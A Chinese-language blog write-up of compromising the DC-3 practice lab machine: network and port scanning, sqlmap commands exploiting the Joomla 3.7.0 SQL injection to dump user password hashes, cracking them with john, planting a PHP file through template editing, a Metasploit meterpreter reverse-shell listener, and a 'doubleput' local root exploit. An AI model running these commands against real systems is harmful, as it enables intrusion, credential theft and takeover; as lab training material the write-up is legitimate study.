DC3靶机渗透

信息收集

靶机地址

netdiscover -i eth0 -r 10.0.2.0/24

image

探测端口

开启端口

nmap -Pn -p1-65535 10.0.2.7

image

端口详细信息

nmap -T4 -A -sV -p80 10.0.2.7

image

探测网站信息

image

开源cms--Joomla
image

使用joomscan
下载:apt-get install joomscan
使用:joomscan -u http://10.0.2.7

image

发现版本为3.7.0
使用工具搜索该版本是否存在漏洞

image

打开42033.txt文件
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt

image

提示使用SQLmap工具
sqlmap -u "http://10.0.2.7/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
获得所有数据库名
image

sqlmap -u "http://10.0.2.7/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
获得joomladb数据库中的所有表名
image

sqlmap -u "http://10.0.2.7/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T #__users --columns -p list[fullordering]
获得#__users表中的所有的列名
image

sqlmap -u "http://10.0.2.7/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C 'name,password' --dump -p list[fullordering]
获得#__users表中name,password列的内容
image

破解密码
使用john工具

image

登录网站

Joomla后台可编辑模板,修改源码,我们利用这个功能,在template下面创建一个 hack.php
image

image
使用msf侦听

use exploit/multi/hander
set payload php/meterpreter/reverse_tcp
set lhost 10.0.2.4
set lport 3333
exploit

访问指定目录 成功连接shell

image

image

获得系统版本信息
存在本地提权漏洞

image

image

查看39772.txt文档
image

下载并解压EXP
image
tar -xvf exploit.tar

使用EXP
./compile.sh
image

./doubleput
image

获得flag
image

posted @ 2021-11-24 14:15  oldliutou  阅读(38)  评论(0编辑  收藏  举报